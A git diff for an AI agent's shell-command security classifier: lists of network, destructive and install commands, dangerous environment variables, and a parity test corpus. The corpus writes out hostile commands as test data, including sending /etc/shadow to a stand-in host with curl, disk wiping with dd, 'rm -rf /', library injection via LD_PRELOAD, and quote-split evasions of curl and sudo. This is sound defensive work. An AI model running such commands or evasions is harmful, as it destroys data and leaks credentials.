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fix(security): restore the shell classifier and look through env and launchers
M3gA-Mind1f3c6984da46
diff --git a/crates/openhuman-core/src/security/policy/README.md b/crates/openhuman-core/src/security/policy/README.mdindex 777874b5e8..eff9ae3983 100644--- a/crates/openhuman-core/src/security/policy/README.md+++ b/crates/openhuman-core/src/security/policy/README.md@@ -45,7 +45,8 @@ impl in [`types.rs`](./types.rs).| [`path_checks.rs`](./path_checks.rs) | `is_workspace_internal_path`, `is_always_forbidden`, `check_cross_profile`, `is_within_trusted_root`, `is_resolved_path_allowed[_for]`, `check_resolved_against_forbidden` || [`command_checks.rs`](./command_checks.rs) | `classify_command`, `gate_decision`, `check_gated_command`, `is_command_allowed`, `command_risk_level`, `parse_declared_class`, `is_command_executor`, `split_unquoted_segments` || [`enforcement.rs`](./enforcement.rs) | `can_act`, `enforce_write_tier`, `enforce_tool_operation`, `record_action`/`is_rate_limited`, `from_config`, `with_privacy_mode`, `openhuman_scratch_dir`/`ensure_openhuman_scratch_dir`, `validate_path_within_root` |-| TinyBox module `CommandAnalysis` (`tinybox-bus`) | Module-produced command segments, classifications, structural flags, and literal path words; the host applies autonomy, allowlist, approval, and protected-path policy to these facts |+| [`command_analysis.rs`](./command_analysis.rs) | `CommandAnalysis::from_shell_analysis`: the production path. TinyBox reports only live segments and redirection; the host derives each segment's class, structural flags and literal path words |+| [`command_vocabulary.rs`](./command_vocabulary.rs) | The per-segment classifier both paths share (`classify_segment_source`): read/network/install/destructive/executor bases, launchers (`env`, `timeout`, `nohup`, `nice`, …) and leading assignments looked through, quote-split names joined |## Public surface@@ -96,7 +97,10 @@ Each of these must not be weakened to make a feature work:still reach, for example, `/usr/local/...`.- `classify_command`'s fail-closed floor ([`command_checks.rs`](./command_checks.rs)): acommand that is not provably read-only (and not a recognized- network/destructive command) is at least `CommandClass::Write`. The highest+ network/destructive command) is at least `CommandClass::Write`.+ `classify_command` (tests) and production's `from_shell_analysis` share one+ segment classifier, and `policy_classifier_parity_tests.rs` runs one corpus+ through both. The highestclass across `;`/`|`/`&&`/`||`/newline-separated segments wins, and anyunquoted redirect (`>`, `>>`) or `tee` lifts the whole command to at least`Write`. An LLM-declared category (`parse_declared_class`) is@@ -128,6 +132,7 @@ Each of these must not be weakened to make a feature work:path checks, and tier enforcement.- [`policy_disabled_tests.rs`](./policy_disabled_tests.rs): behavior with `[autonomy] enabled = false`.- [`proptest_tests.rs`](./proptest_tests.rs): property tests over command classification.+- [`policy_classifier_parity_tests.rs`](./policy_classifier_parity_tests.rs): one command corpus through the production and test classifier paths.- [`enforcement_scratch_dir_tests_tests.rs`](./enforcement_scratch_dir_tests_tests.rs): `openhuman_scratch_dir` isnamespaced on every platform and `ensure_openhuman_scratch_dir` creates it.diff --git a/crates/openhuman-core/src/security/policy/command_analysis.rs b/crates/openhuman-core/src/security/policy/command_analysis.rsindex a6c6169d65..728ede0240 100644--- a/crates/openhuman-core/src/security/policy/command_analysis.rs+++ b/crates/openhuman-core/src/security/policy/command_analysis.rs@@ -1,3 +1,7 @@+use super::command_vocabulary::{+ classify_segment_source, effective_command, has_dangerous_env_assignment, is_assignment,+ is_command_executor, normalized_command_name,+};use crate::security::policy::CommandClass;/// Host-owned interpretation of TinyBox's structural shell facts.@@ -48,7 +52,7 @@ impl CommandAnalysis {};let command = raw_command.trim_matches(|c: char| matches!(c, '\'' | '"'));let basename = command.rsplit(['/', '\\']).next().unwrap_or(command);- let normalized_name = basename.to_ascii_lowercase();+ let normalized_name = normalized_command_name(raw_command);let arguments = words.iter().skip(1)@@ -58,46 +62,12 @@ impl CommandAnalysis {}).collect::<Vec<_>>();let lower = source.to_ascii_lowercase();- let leading_env_assignment = command.contains('=')- && command.split_once('=').is_some_and(|(name, _)| {- !name.is_empty() && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')- });- let dangerous_env_prefix =- words- .iter()- .take_while(|word| word.contains('='))- .any(|word| {- let name = word- .split('=')- .next()- .unwrap_or_default()- .to_ascii_uppercase();- matches!(- name.as_str(),- "LD_PRELOAD"- | "LD_LIBRARY_PATH"- | "DYLD_INSERT_LIBRARIES"- | "DYLD_LIBRARY_PATH"- | "PATH"- )- });- let executor = matches!(- normalized_name.as_str(),- "sh" | "bash"- | "zsh"- | "fish"- | "python"- | "python2"- | "python3"- | "node"- | "ruby"- | "perl"- | "php"- | "lua"- | "awk"- | "xargs"- );- let class = classify_host_command(&normalized_name, &arguments, &lower);+ let leading_env_assignment = is_assignment(raw_command);+ let dangerous_env_prefix = has_dangerous_env_assignment(&words);+ let (effective_name, _) = effective_command(&words);+ let executor =+ is_command_executor(&normalized_name) || is_command_executor(&effective_name);+ let class = classify_segment_source(&source);analysis.hidden_execution |= lower.contains("$(")|| lower.contains("<(")|| lower.contains(">(")@@ -108,13 +78,18 @@ impl CommandAnalysis {analysis.tee |= words.iter().any(|word| word == &"tee" || word.ends_with("/tee"));+ // Split option values out (`--file=/p`, `if=/p`, `-d@/p`) so the+ // protected-path floor sees the path inside them.analysis.literal_words.extend(- words- .iter()- .map(|word| {- word.trim_matches(|c: char| matches!(c, '\'' | '"' | '<' | '>' | '&' | '|'))- .to_owned()+ source+ .split(|c: char| {+ c.is_whitespace()+ || matches!(+ c,+ '\'' | '"' | '(' | ')' | '[' | ']' | ',' | ';' | '=' | '@'+ )})+ .map(|word| word.trim_matches(['<', '>', '&', '|']).to_owned()).filter(|word| !word.is_empty()),);analysis.segments.push(CommandSegment {@@ -142,61 +117,3 @@ fn has_background_operator(source: &str) -> bool {&& (index == 0 || bytes[index - 1] != b'>')})}--pub(super) fn classify_host_command(base: &str, args: &[String], source: &str) -> CommandClass {- if matches!(- base,- "sudo"- | "su"- | "mkfs"- | "dd"- | "shutdown"- | "reboot"- | "halt"- | "poweroff"- | "useradd"- | "userdel"- | "usermod"- | "passwd"- ) || source.contains("rm -rf /")- || source.contains("rm -fr /")- || source.contains(":(){:|:&};:")- {- return CommandClass::Destructive;- }- if matches!(- base,- "curl" | "wget" | "ssh" | "scp" | "sftp" | "ftp" | "telnet" | "nc" | "ncat" | "netcat"- ) {- return CommandClass::Network;- }- let first = args.first().map(String::as_str).unwrap_or_default();- if matches!(base, "npm" | "pnpm" | "yarn" | "pip" | "pip3")- && matches!(first, "install" | "add" | "remove" | "uninstall" | "update")- || base == "cargo" && matches!(first, "add" | "remove" | "install" | "update")- {- return CommandClass::Install;- }- if matches!(- base,- "ls" | "pwd"- | "cat"- | "head"- | "tail"- | "grep"- | "rg"- | "find"- | "stat"- | "wc"- | "sort"- | "echo"- | "printf"- | "whoami"- | "date"- ) || base == "git" && matches!(first, "status" | "diff" | "log" | "show" | "branch")- || base == "cargo" && matches!(first, "check" | "test" | "tree" | "metadata")- {- return CommandClass::Read;- }- CommandClass::Write-}diff --git a/crates/openhuman-core/src/security/policy/command_checks.rs b/crates/openhuman-core/src/security/policy/command_checks.rsindex 1b3fad02fb..8ef9373400 100644--- a/crates/openhuman-core/src/security/policy/command_checks.rs+++ b/crates/openhuman-core/src/security/policy/command_checks.rs@@ -5,7 +5,7 @@use std::path::{Path, PathBuf};#[cfg(test)]-use super::command_analysis::classify_host_command;+use super::command_vocabulary::classify_segment_source;use super::CommandAnalysis;#[cfg(test)]@@ -108,11 +108,6 @@ fn is_command_executor(command: &str) -> bool {)}-#[cfg(test)]-fn classify_segment(base: &str, args: &[String], joined: &str) -> CommandClass {- classify_host_command(base, args, joined)-}-impl SecurityPolicy {/// Apply the supervised allowlist to parser facts returned by TinyBox./// The module owns shell structure; this host owns the permission policy.@@ -313,17 +308,12 @@ impl SecurityPolicy {// `rm` or `curl` lifts a plain file write to Destructive/Network.let command = &strip_quoted_heredoc_bodies(command);let mut class = CommandClass::Read;+ // The same per-segment classifier production applies to TinyBox's+ // segment facts (`CommandAnalysis::from_shell_analysis`).for segment in split_unquoted_segments(command) {- let cmd_part = skip_env_assignments(&segment);- let mut words = cmd_part.split_whitespace();- let Some(base_raw) = words.next() else {- continue;- };- let base = normalized_command_name(base_raw);- let args: Vec<String> = words.map(|w| w.to_ascii_lowercase()).collect();- let joined = cmd_part.to_ascii_lowercase();- let segment_class = classify_segment(&base, &args, &joined);- class = class.max(segment_class);+ if !segment.trim().is_empty() {+ class = class.max(classify_segment_source(&segment));+ }}// A redirect or `tee` writes a file regardless of the base command.if contains_unquoted_char(command, '>')@@ -415,7 +405,10 @@ impl SecurityPolicy {let words = strip_quoted_heredoc_bodies(input).split(|c: char| {c.is_whitespace()- || matches!(c, '\'' | '"' | '(' | ')' | '[' | ']' | ',' | ';' | '=')+ || matches!(+ c,+ '\'' | '"' | '(' | ')' | '[' | ']' | ',' | ';' | '=' | '@'+ )}).map(str::to_owned).collect::<Vec<_>>();diff --git a/crates/openhuman-core/src/security/policy/command_vocabulary.rs b/crates/openhuman-core/src/security/policy/command_vocabulary.rsnew file mode 100644index 0000000000..12b16e0649--- /dev/null+++ b/crates/openhuman-core/src/security/policy/command_vocabulary.rs@@ -0,0 +1,504 @@+//! The command vocabulary behind shell classification: which bases only read,+//! reach the network, install on the host, are destructive or run arbitrary+//! code, and which only launch another command. Restored from TinyBox's+//! classifier (tinybox c2e34c5bc2, `tinybox-core/src/shell/{classify,executor,+//! env_guard}.rs`) after TinyBox stopped classifying commands and the host's+//! interim copy kept only a fraction of the lists.+//!+//! On top of that vocabulary, a segment is classified by the command it really+//! runs: leading `NAME=value` assignments and launchers (`env`, `timeout`,+//! `nohup`, `nice`, `command`, `exec`, `time`, `stdbuf`, `xargs`) are looked+//! through, and quotes inside a command word are removed the way the shell+//! removes them (`c''url` is `curl`).++use crate::security::policy::CommandClass;++/// Provably read-only command bases (cross-platform union). A base **not** in+/// this set — and not a recognized network/destructive/executor command, nor a+/// read-only verb of git/npm/cargo — falls through to [`CommandClass::Write`]+/// (the classifier is fail-closed). Conservative on purpose: anything that can+/// write a file under a common flag is intentionally omitted (`sort -o`, `tee`).+const READ_ONLY_BASES: &[&str] = &[+ // POSIX inspection / read-only coreutils+ "ls",+ "cat",+ "pwd",+ "echo",+ "printf",+ "wc",+ "head",+ "tail",+ "date",+ "grep",+ "egrep",+ "fgrep",+ "rg",+ "which",+ "whoami",+ "id",+ "hostname",+ "uname",+ "printenv",+ "stat",+ "file",+ "du",+ "df",+ "tree",+ "realpath",+ "readlink",+ "dirname",+ "basename",+ "cmp",+ "true",+ "false",+ "sleep",+ "seq",+ "tty",+ "groups",+ "locale",+ "ps",+ "top",+ "free",+ "uptime",+ "lsblk",+ "lscpu",+ "cut",+ // NOTE: OS-native launchers (`open`, `xdg-open`, `start`) are deliberately+ // NOT in the read-only set. `classify_command` only sees the base command,+ // not its args, and these launchers can open arbitrary `https://` URLs and+ // custom URI handlers — i.e. trigger outbound network / system actions — so+ // treating them as `Read` (no approval) is too broad. App launching now+ // goes through the dedicated `launch_app` tool, which is scoped to named+ // applications only and carries no shell-arg ambiguity.+ // Windows cmd / PowerShell read verbs + common aliases+ "dir",+ "type",+ "where",+ "whereis",+ "get-childitem",+ "gci",+ "get-content",+ "gc",+ "get-location",+ "gl",+ "select-string",+ "sls",+ "measure-object",+ "get-item",+ "gi",+ "test-path",+ "resolve-path",+ "get-command",+ "gcm",+ "get-process",+];++/// Commands that reach the network. Always-ask in every acting tier.+const NETWORK_BASES: &[&str] = &[+ "curl",+ "wget",+ "ssh",+ "scp",+ "sftp",+ "rsync",+ "nc",+ "ncat",+ "netcat",+ "telnet",+ "ftp",+ "tftp",+ "socat",+ // Windows / PowerShell+ "invoke-webrequest",+ "iwr",+ "invoke-restmethod",+ "irm",+ "start-bitstransfer",+ "bitsadmin",+];++/// Catastrophic / irreversible / privilege / system-control bases. Always-ask+/// in every acting tier (Full included). Coarse on the broad Windows verbs+/// (`reg`/`net`/`sc`) — over-prompting there is the safe default.+const DESTRUCTIVE_BASES: &[&str] = &[+ // POSIX privilege / disk / system-control+ "sudo",+ "su",+ "doas",+ "dd",+ "mkfs",+ "fdisk",+ "sfdisk",+ "parted",+ "wipefs",+ "shred",+ "shutdown",+ "reboot",+ "halt",+ "poweroff",+ "init",+ "telinit",+ "mount",+ "umount",+ "swapoff",+ "iptables",+ "ip6tables",+ "nft",+ "ufw",+ "firewall-cmd",+ "useradd",+ "userdel",+ "usermod",+ "groupadd",+ "groupdel",+ "passwd",+ "chpasswd",+ "visudo",+ "modprobe",+ "insmod",+ "rmmod",+ // Windows / PowerShell+ "format",+ "diskpart",+ "bcdedit",+ "takeown",+ "cipher",+ "vssadmin",+ "reg",+ "regedit",+ "runas",+ "sc",+ "net",+ "set-executionpolicy",+ "stop-computer",+ "restart-computer",+ "clear-disk",+ "format-volume",+ "remove-partition",+ "disable-computerrestore",+];++/// Git subcommands that only read repository state. Anything else — including+/// `commit`/`push`/`branch`/`config`/unknown/bare `git` — is fail-closed to+/// `Write`.+const GIT_READ_VERBS: &[&str] = &[+ "status",+ "log",+ "diff",+ "show",+ "remote",+ "describe",+ "blame",+ "ls-files",+ "ls-tree",+ "rev-parse",+ "cat-file",+ "shortlog",+ "reflog",+ "rev-list",+ "name-rev",+ "var",+ "check-ignore",+ "check-attr",+ "verify-commit",+ "count-objects",+ "fsck",+ "whatchanged",+ "grep",+ "version",+ "help",+];++/// npm/pnpm/yarn read-only subcommands. `install`/`run`/`test`/`exec` (which+/// run arbitrary scripts) and unknown verbs are fail-closed to `Write`.+const NODE_PKG_READ_VERBS: &[&str] = &[+ "ls", "list", "view", "info", "outdated", "ping", "whoami", "help", "why", "audit", "doctor",+];++/// cargo read-only subcommands. `build`/`run`/`test`/`check` compile and may+/// run build scripts, so they are fail-closed to `Write`.+const CARGO_READ_VERBS: &[&str] = &["tree", "metadata", "search", "info", "version", "help"];++/// Environment variable names that can trigger arbitrary command execution+/// when supplied as a leading inline assignment on an otherwise-allowed+/// command. Each name here is either a hook variable that a downstream tool+/// will spawn as a subprocess (`GIT_PAGER`, `GIT_SSH_COMMAND`, `EDITOR`,+/// `LESS`/`LESSOPEN`, `MANPAGER`, `BROWSER`, `BAT_PAGER`), a runtime+/// configuration knob that affects how Python or the shell evaluate user+/// input (`PYTHONSTARTUP`, `BASH_ENV`, `ENV`, `PROMPT_COMMAND`), or a loader+/// override that lets an attacker inject a library into the next process+/// (`LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_AUDIT`, `DYLD_INSERT_LIBRARIES`,+/// `DYLD_LIBRARY_PATH`, `DYLD_FORCE_FLAT_NAMESPACE`).+///+/// `PATH` and `SHELL` are listed so an inline override cannot redirect+/// resolution of any allowed binary to an attacker-controlled path. `IFS`+/// is listed because the shell uses it for word splitting and a malicious+/// value can hide command boundaries from later parsers.+const DANGEROUS_ENV_NAMES: &[&str] = &[+ "BASH_ENV",+ "BAT_PAGER",+ "BROWSER",+ "DYLD_FORCE_FLAT_NAMESPACE",+ "DYLD_INSERT_LIBRARIES",+ "DYLD_LIBRARY_PATH",+ "EDITOR",+ "ENV",+ "GIT_EDITOR",+ "GIT_EXTERNAL_DIFF",+ "GIT_EXTERNAL_FILTER",+ "GIT_PAGER",+ "GIT_SSH",+ "GIT_SSH_COMMAND",+ "IFS",+ "LD_AUDIT",+ "LD_LIBRARY_PATH",+ "LD_PRELOAD",+ "LESS",+ "LESSCLOSE",+ "LESSOPEN",+ "MANOPT",+ "MANPAGER",+ "PAGER",+ "PATH",+ "PROMPT_COMMAND",+ "PS1",+ "PS2",+ "PS3",+ "PS4",+ "PYTHONPATH",+ "PYTHONSTARTUP",+ "SHELL",+ "VISUAL",+];++/// Bases that run arbitrary code: interpreters, shells, `xargs`, `env`, JS+/// runtimes and Windows launchers.+pub(super) fn is_command_executor(base: &str) -> bool {+ let is_python = ["python", "pythonw"].iter().any(|prefix| {+ base.strip_prefix(prefix)+ .is_some_and(|rest| rest.is_empty() || rest.starts_with(|c: char| c.is_ascii_digit()))+ });+ is_python+ || matches!(+ base,+ "xargs"+ | "awk"+ | "gawk"+ | "mawk"+ | "nawk"+ | "perl"+ | "ruby"+ | "bash"+ | "sh"+ | "dash"+ | "zsh"+ | "ksh"+ | "fish"+ | "env"+ | "node"+ | "nodejs"+ | "deno"+ | "bun"+ | "iex"+ | "invoke-expression"+ | "cmd"+ | "pwsh"+ | "powershell"+ | "wscript"+ | "cscript"+ | "mshta"+ | "rundll32"+ | "start-process"+ )+}++/// The program name a shell runs for `word`: quotes removed (the shell joins+/// `c''url` into `curl`), basename only, lowercase, `.exe` stripped.+pub(super) fn normalized_command_name(word: &str) -> String {+ let unquoted = word.replace(['\'', '"'], "");+ let base = unquoted.rsplit(['/', '\\']).next().unwrap_or_default();+ let base = base.to_ascii_lowercase();+ base.strip_suffix(".exe").unwrap_or(&base).to_owned()+}++/// A shell variable assignment (`NAME=value`) rather than a command word.+pub(super) fn is_assignment(word: &str) -> bool {+ word.split_once('=').is_some_and(|(name, _)| {+ name.starts_with(|c: char| c.is_ascii_alphabetic() || c == '_')+ && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')+ })+}++/// Whether any assignment in the segment sets a variable that can redirect+/// what runs (a pager, editor, loader override, `PATH`, …).+pub(super) fn has_dangerous_env_assignment(words: &[&str]) -> bool {+ words.iter().any(|word| {+ is_assignment(word)+ && word.split_once('=').is_some_and(|(name, _)| {+ DANGEROUS_ENV_NAMES.contains(&name.to_ascii_uppercase().as_str())+ })+ })+}++/// Launchers that run their operand, with the options that take a separate+/// value (so the value is not mistaken for the command).+fn launcher_value_options(name: &str) -> Option<&'static [&'static str]> {+ Some(match name {+ "env" => &["-u", "--unset", "-C", "--chdir"],+ "timeout" => &["-s", "--signal", "-k", "--kill-after"],+ "nice" => &["-n", "--adjustment"],+ "stdbuf" => &["-i", "-o", "-e"],+ "xargs" => &["-I", "-n", "-P", "-L", "-s", "-d", "-E", "-a"],+ "time" => &["-f", "-o"],+ "exec" => &["-a"],+ "nohup" | "command" => &[],+ _ => return None,+ })+}++/// The command a segment really runs and its arguments, looking through+/// leading assignments and launchers: `FOO=1 env -u X timeout 5 curl u` runs+/// `curl u`. A launcher with no operand is itself the command.+pub(super) fn effective_command<'a, 'w>(words: &'a [&'w str]) -> (String, &'a [&'w str]) {+ let (mut name, mut args, mut rest) = (String::new(), &words[..0], words);+ while let Some((first, tail)) = rest.split_first() {+ if is_assignment(first) {+ rest = tail;+ continue;+ }+ name = normalized_command_name(first);+ args = tail;+ let Some(value_options) = launcher_value_options(&name) else {+ break;+ };+ let mut operand = 0;+ while let Some(word) = tail.get(operand) {+ if value_options.contains(word) {+ operand += 2;+ } else if word.starts_with('-') || is_assignment(word) {+ operand += 1;+ } else {+ break;+ }+ }+ if name == "timeout" {+ operand += 1; // the duration+ }+ rest = tail.get(operand..).unwrap_or_default();+ }+ (name, args)+}++/// Classify one live shell segment (already split on `;`, `|`, `&&`, …).+pub(super) fn classify_segment_source(source: &str) -> CommandClass {+ let words = source.split_whitespace().collect::<Vec<_>>();+ let (base, args) = effective_command(&words);+ let args = args+ .iter()+ .map(|word| word.replace(['\'', '"'], "").to_ascii_lowercase())+ .collect::<Vec<_>>();+ let joined = source.replace(['\'', '"'], "").to_ascii_lowercase();+ let class = classify_host_command(&base, &args, &joined);+ if has_dangerous_env_assignment(&words) {+ class.max(CommandClass::Write)+ } else {+ class+ }+}++/// Detect a pacman *install/upgrade* from its bundled operation flag. A+/// `-S`-family flag mutates the host only when it carries none of pacman's+/// read-only query modifiers — search (`s`), info (`i`), list (`l`), groups+/// (`g`) or print (`p`). `args` are lowercased.+fn is_pacman_install(args: &[String]) -> bool {+ args.iter().any(|a| {+ a.strip_prefix("-s")+ .is_some_and(|modifiers| !modifiers.contains(['s', 'i', 'l', 'g', 'p']))+ })+}++/// A package-manager install that mutates the host or global environment.+/// Project-local installs (`npm install` without `-g`, `cargo add`) are+/// ordinary writes and deliberately not matched. `args` are lowercased.+fn is_install_command(base: &str, args: &[String]) -> bool {+ let has = |needle: &str| args.iter().any(|a| a == needle);+ let first_is = |verb: &str| args.first().map(String::as_str) == Some(verb);+ match base {+ "pacman" => is_pacman_install(args),+ "apk" => has("add"),+ "apt" | "apt-get" | "dnf" | "yum" | "zypper" | "brew" | "snap" | "flatpak" | "winget"+ | "choco" | "scoop" => has("install"),+ "pip" | "pip3" | "pipx" | "gem" | "go" | "cargo" => first_is("install"),+ "npm" | "pnpm" => {+ (has("install") || has("i") || has("add")) && (has("-g") || has("--global"))+ }+ "yarn" => has("global"),+ _ => false,+ }+}++/// Classify one segment's command. `base` is the normalized program name;+/// `args` the lowercased remaining words; `joined` the lowercased segment for+/// pattern matching. Fail-closed: an unrecognized base is `Write`.+pub(super) fn classify_host_command(base: &str, args: &[String], joined: &str) -> CommandClass {+ if joined.contains("rm -rf /") || joined.contains("rm -fr /") || joined.contains(":(){:|:&};:")+ {+ return CommandClass::Destructive;+ }+ if DESTRUCTIVE_BASES.contains(&base) {+ return CommandClass::Destructive;+ }+ if NETWORK_BASES.contains(&base) {+ return CommandClass::Network;+ }+ if is_install_command(base, args) {+ return CommandClass::Install;+ }+ if is_command_executor(base) {+ return CommandClass::Write;+ }+ // `find` reads unless it executes, deletes, or writes its output to a+ // named file (an arbitrary-path write past the gated file tools).+ if base == "find" {+ let acts = args.iter().any(|a| {+ matches!(+ a.as_str(),+ "-exec"+ | "-execdir"+ | "-ok"+ | "-okdir"+ | "-delete"+ | "-fprintf"+ | "-fprint"+ | "-fprint0"+ | "-fls"+ )+ });+ return if acts {+ CommandClass::Write+ } else {+ CommandClass::Read+ };+ }+ if base == "git" {+ return verb_class(args, GIT_READ_VERBS);+ }+ if matches!(base, "npm" | "pnpm" | "yarn") {+ return verb_class(args, NODE_PKG_READ_VERBS);+ }+ if base == "cargo" {+ return verb_class(args, CARGO_READ_VERBS);+ }+ if READ_ONLY_BASES.contains(&base) {+ return CommandClass::Read;+ }+ CommandClass::Write+}++/// `Read` when the first subcommand word is in `read_verbs`, else `Write`.+fn verb_class(args: &[String], read_verbs: &[&str]) -> CommandClass {+ match args.first().map(String::as_str) {+ Some(verb) if read_verbs.contains(&verb) => CommandClass::Read,+ _ => CommandClass::Write,+ }+}diff --git a/crates/openhuman-core/src/security/policy/mod.rs b/crates/openhuman-core/src/security/policy/mod.rsindex 8f2b3b5b68..0ded62d0ca 100644--- a/crates/openhuman-core/src/security/policy/mod.rs+++ b/crates/openhuman-core/src/security/policy/mod.rs@@ -4,6 +4,7 @@mod command_analysis;mod command_checks;+mod command_vocabulary;mod enforcement;mod path_checks;diff --git a/crates/openhuman-core/src/security/policy/policy_classifier_parity_tests.rs b/crates/openhuman-core/src/security/policy/policy_classifier_parity_tests.rsnew file mode 100644index 0000000000..e9872f5b1b--- /dev/null+++ b/crates/openhuman-core/src/security/policy/policy_classifier_parity_tests.rs@@ -0,0 +1,162 @@+//! Production and test classifiers must agree. Production gates a shell+//! command through TinyBox's segment facts and+//! `CommandAnalysis::from_shell_analysis`; most unit tests call the test-only+//! `check_gated_command`. When the two drift, a test passes while production+//! classifies differently. This corpus runs through both paths and checks each+//! against the expected class (`None` = refused for a protected path).+#![allow(deprecated)]++use super::*;+use crate::security::policy::CommandAnalysis;+use tinybox_core::shell::scan;++use crate::security::policy::CommandClass::{Destructive, Install, Network, Read, Write};++/// The production path: the facts TinyBox's `analyze_shell` returns, through+/// the host analysis and gate. The policy is disabled so the result is the+/// classification itself (plus the protected-path floor, which still applies).+fn production(policy: &SecurityPolicy, command: &str) -> Option<CommandClass> {+ let facts = tinybox_bus::ShellAnalysis {+ segments: scan::split_unquoted_segments(&scan::strip_quoted_heredoc_bodies(command)),+ redirection: scan::contains_unquoted_char(&scan::strip_heredoc_bodies(command), '>'),+ };+ policy+ .check_gated_command_analysis(&CommandAnalysis::from_shell_analysis(facts))+ .ok()+}++const CORPUS: &[(&str, Option<CommandClass>)] = &[+ // Reads.+ ("ls -la", Some(Read)),+ ("cat f", Some(Read)),+ ("grep x f", Some(Read)),+ ("git status", Some(Read)),+ ("git log --oneline", Some(Read)),+ ("pwd", Some(Read)),+ ("wc -l f", Some(Read)),+ ("head f", Some(Read)),+ ("find . -name '*.rs' -print", Some(Read)),+ ("cargo tree", Some(Read)),+ ("npm ls", Some(Read)),+ ("dir", Some(Read)),+ ("type f.txt", Some(Read)),+ ("Get-Content f", Some(Read)),+ // Writes, including unknown commands (fail closed).+ ("./deploy.sh", Some(Write)),+ ("some-random-binary --go", Some(Write)),+ ("git", Some(Write)),+ ("touch f", Some(Write)),+ ("rm -rf build", Some(Write)),+ ("git commit -m x", Some(Write)),+ ("git push", Some(Write)),+ ("git branch -D old", Some(Write)),+ ("npm install", Some(Write)),+ ("npm install lodash", Some(Write)),+ ("cargo add serde", Some(Write)),+ ("cargo build", Some(Write)),+ ("cargo test", Some(Write)),+ ("cargo check", Some(Write)),+ ("node script.js", Some(Write)),+ ("python3 x.py", Some(Write)),+ ("bash -lc 'id'", Some(Write)),+ ("Remove-Item x", Some(Write)),+ ("find . -delete", Some(Write)),+ ("find . -exec rm {} ;", Some(Write)),+ ("find . '-fprint' /tmp/list.txt", Some(Write)),+ ("pacman -Ss firefox", Some(Write)),+ ("cat f > out.txt", Some(Write)),+ ("echo hi | tee out.txt", Some(Write)),+ ("ls && mkdir d", Some(Write)),+ // Network.+ ("curl http://x", Some(Network)),+ ("wget http://x", Some(Network)),+ ("ssh host", Some(Network)),+ ("scp a b", Some(Network)),+ ("nc -l 1", Some(Network)),+ ("rsync -a src host:dst", Some(Network)),+ ("socat - tcp:host:1", Some(Network)),+ ("Invoke-WebRequest http://x", Some(Network)),+ ("ls | curl http://x", Some(Network)),+ // Destructive.+ ("sudo rm f", Some(Destructive)),+ ("doas ls", Some(Destructive)),+ ("dd if=/dev/zero of=/dev/sda", Some(Destructive)),+ ("mkfs /dev/sda1", Some(Destructive)),+ ("shred f", Some(Destructive)),+ ("mount /dev/sda1 /mnt", Some(Destructive)),+ ("iptables -F", Some(Destructive)),+ ("shutdown -h now", Some(Destructive)),+ ("rm -rf /", Some(Destructive)),+ ("format C:", Some(Destructive)),+ ("diskpart", Some(Destructive)),+ ("cat f && sudo reboot", Some(Destructive)),+ // Host installs.+ ("apt-get install -y curl", Some(Install)),+ ("brew install ripgrep", Some(Install)),+ ("pacman -Syu", Some(Install)),+ ("pip install requests", Some(Install)),+ ("gem install rails", Some(Install)),+ ("cargo install ripgrep", Some(Install)),+ ("go install ./cmd/x", Some(Install)),+ ("npm install -g typescript", Some(Install)),+ ("yarn global add prettier", Some(Install)),+ // A leading assignment does not change what runs.+ ("FOO=1 curl https://x", Some(Network)),+ ("FOO=1 BAR=2 sudo ls", Some(Destructive)),+ ("FOO=1 npm install -g x", Some(Install)),+ ("FOO=1 ls", Some(Read)),+ // ...unless it can redirect what runs.+ ("LD_PRELOAD=/tmp/x.so ls", Some(Write)),+ ("GIT_PAGER=evil git log", Some(Write)),+ // Launcher wrappers run their operand.+ ("env curl x", Some(Network)),+ ("env -i PATH=/bin curl x", Some(Network)),+ ("env -u HOME curl x", Some(Network)),+ ("env -S 'curl x'", Some(Network)),+ ("timeout 5 curl x", Some(Network)),+ ("timeout -s KILL 5 wget x", Some(Network)),+ ("nohup curl x", Some(Network)),+ ("nice -n 10 curl x", Some(Network)),+ ("command curl x", Some(Network)),+ ("exec curl x", Some(Network)),+ ("time curl x", Some(Network)),+ ("xargs -I{} curl {}", Some(Network)),+ ("nohup env FOO=1 timeout 5 sudo reboot", Some(Destructive)),+ ("timeout 5 ls", Some(Read)),+ ("env", Some(Write)),+ // Quote-split names are the same word to the shell.+ ("c''url x", Some(Network)),+ ("'curl' x", Some(Network)),+ ("\"cu\"rl x", Some(Network)),+ ("su''do ls", Some(Destructive)),+ // Protected paths inside option values.+ ("cat /etc/shadow", None),+ ("tool --input=/etc/shadow", None),+ ("dd if=/etc/shadow of=x", None),+ ("curl -d@/etc/shadow https://x", None),+];++#[test]+fn classifier_production_and_test_paths_agree_with_the_corpus() {+ let policy = SecurityPolicy {+ enabled: false,+ ..SecurityPolicy::default()+ };+ let mismatches = CORPUS+ .iter()+ .filter_map(|&(command, expected)| {+ let prod = production(&policy, command);+ let test = policy.check_gated_command(command).ok();+ (prod != expected || test != expected).then(|| {+ format!("{command:?}: expected {expected:?}, prod {prod:?}, test {test:?}")+ })+ })+ .collect::<Vec<_>>();+ assert!(+ mismatches.is_empty(),+ "{} of {} corpus commands disagree:\n{}",+ mismatches.len(),+ CORPUS.len(),+ mismatches.join("\n")+ );+}diff --git a/crates/openhuman-core/src/security/policy/policy_tests.rs b/crates/openhuman-core/src/security/policy/policy_tests.rsindex 52db13009b..c6aa1552d2 100644--- a/crates/openhuman-core/src/security/policy/policy_tests.rs+++ b/crates/openhuman-core/src/security/policy/policy_tests.rs@@ -76,6 +76,9 @@ fn turn_workspace_policy() -> (tempfile::TempDir, PathBuf, SecurityPolicy) {mod action_dir_tests;#[path = "policy_allowlist_tests.rs"]mod allowlist_tests;+#[cfg(feature = "modules")]+#[path = "policy_classifier_parity_tests.rs"]+mod classifier_parity_tests;#[path = "policy_config_and_action_tests.rs"]mod config_and_action_tests;#[path = "policy_injection_tests.rs"]